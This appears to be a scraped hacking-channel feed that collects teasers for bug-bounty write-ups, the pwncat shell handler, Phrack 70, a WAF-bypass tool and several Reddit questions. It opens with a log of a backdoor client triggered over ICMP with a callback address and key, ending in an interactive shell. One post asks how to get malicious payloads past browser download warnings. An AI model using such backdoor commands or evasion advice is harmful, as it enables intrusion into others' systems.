0:01 /usr/lib/systemd/systemd –switched-root –system –deserialize 31 .exit sudo ./wraith-client.py 127.0.0.1 –callback 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR shell [+] sent ICMP wake up command to 127.0.0.1 [] backdoor will connect to port 37943
[] listening on port 37943 [+] accepted connection! [] entering interactive shell Download

___________________________
@hacking_Attack
@Hacking_Video

facebook accessstoken leak in android (unfixed )

i found accesstoken leak. any malicious app can get facebook accessstokenContinue reading on Medium »
Read more...

Pwncat — Fancy Reverse And Bind Shell Handler

pwncat is a post-exploitation platform for Linux targets. It started out as a wrapper around basic bind and reverse shells and has grown…Continue reading on Medium »
Read more...

The BugéDex Workshop— My experience and what your takeaway should be from it

For the uninitiated, BugéDex is a workshop on Bug Bounty and Reporting hosted by CSI-VIT with cybersecurity experts from CloudSEK leading…Continue reading on Medium »
Read more...

Account Takeover Vulnerability(admin + any user) via Password Reset

This is my First vulnerability disclosure, Luckily I found this vulnerability on the occasion of Ganesh Chaturthi.Continue reading on Medium »
Read more...

Hacking on Medium
$5k Service dependencies

The bug

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Pwncat — Fancy Reverse And Bind Shell Handler

https://cdn-images-1.medium.com/max/640/0*VEPhAhC1_mGQsOzs.png
pwncat is a post-exploitation platform for Linux targets. It started out as a wrapper around basic bind and reverse shells and has grown…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Account Takeover Vulnerability(admin + any user) via Password Reset
https://medium.com/@gaurav3112verma/account-takeover-vulnerability-admin-any-user-via-password-reset-1cb4d5057e35?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

This is my First vulnerability disclosure, Luckily I found this vulnerability on the occasion of Ganesh Chaturthi.Continue reading on Medium » (https://medium.com/@gaurav3112verma/account-takeover-vulnerability-admin-any-user-via-password-reset-1cb4d5057e35?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Phrack Magazine Issue 70

https://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png
Phrack Magazine Issue 70 - Articles include Phrack Prophile on xerub, Attacking JavaScript Engines, .NET Instrumentation via MSIL bytecode injection, a VM escape QEMU case study, and much more.

MD5 | abec118a40d83ac9f0974d89dbebfeef

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
pFuzz - Helps Us To Bypass Web Application Firewall By Using Different Methods At The Same Time

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
downloading payload

say you get a victim to click on a link to download the payload. but google chrome gives a prompt saying "this type of file can harm your computer "

how do you get around this? is there way to make it safe for browsers

submitted by /u/ball-sack-patato
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is it possible to get a list of valid DNS names from an IP?

Basically the title, i tried various reverse lookups and always got just one result. Any tips would be more than welcome!

submitted by /u/Inter_Fector1
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
An ex hacked my email and I was wondering what I should do to make sure he stops

A little while ago I had an ex acquaintance hack my email. When I went to change my password he immediately tried to hack it again. I figured it was him when I traced his IP to the small town he lives in.

I am not even sure how he got my email. I am guessing he managed to hack my social media in order to get it, though I am not sure which account he got it from. I am guessing he also got my phone and address. I changed my phone number, and email to avoid any potential conflict. The other weird part is I hadn't seen or spoken to him in years. We didn't even date.

I eventually closed down much of my social presence just so I focus more on people in the here and now. I am concerned he may try to track me down in an intrusive way in the future.

What's the best way to safeguard this kind of behavior in the future? I started doing a secure sign in with my info on my banks, and other services I pay for like my internet and phone.

If he attempts to hack me again I will contact his provider. I am not sure he is physically stalking me. He had done it the past though.

submitted by /u/Majestic_Emu_77
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

pFuzz - Helps Us To Bypass Web Application Firewall By Using Different Methods At The Same Time
http://www.kitploit.com/2021/10/pfuzz-helps-us-to-bypass-web.html

___________________________
@hacking_Attack
@Hacking_Video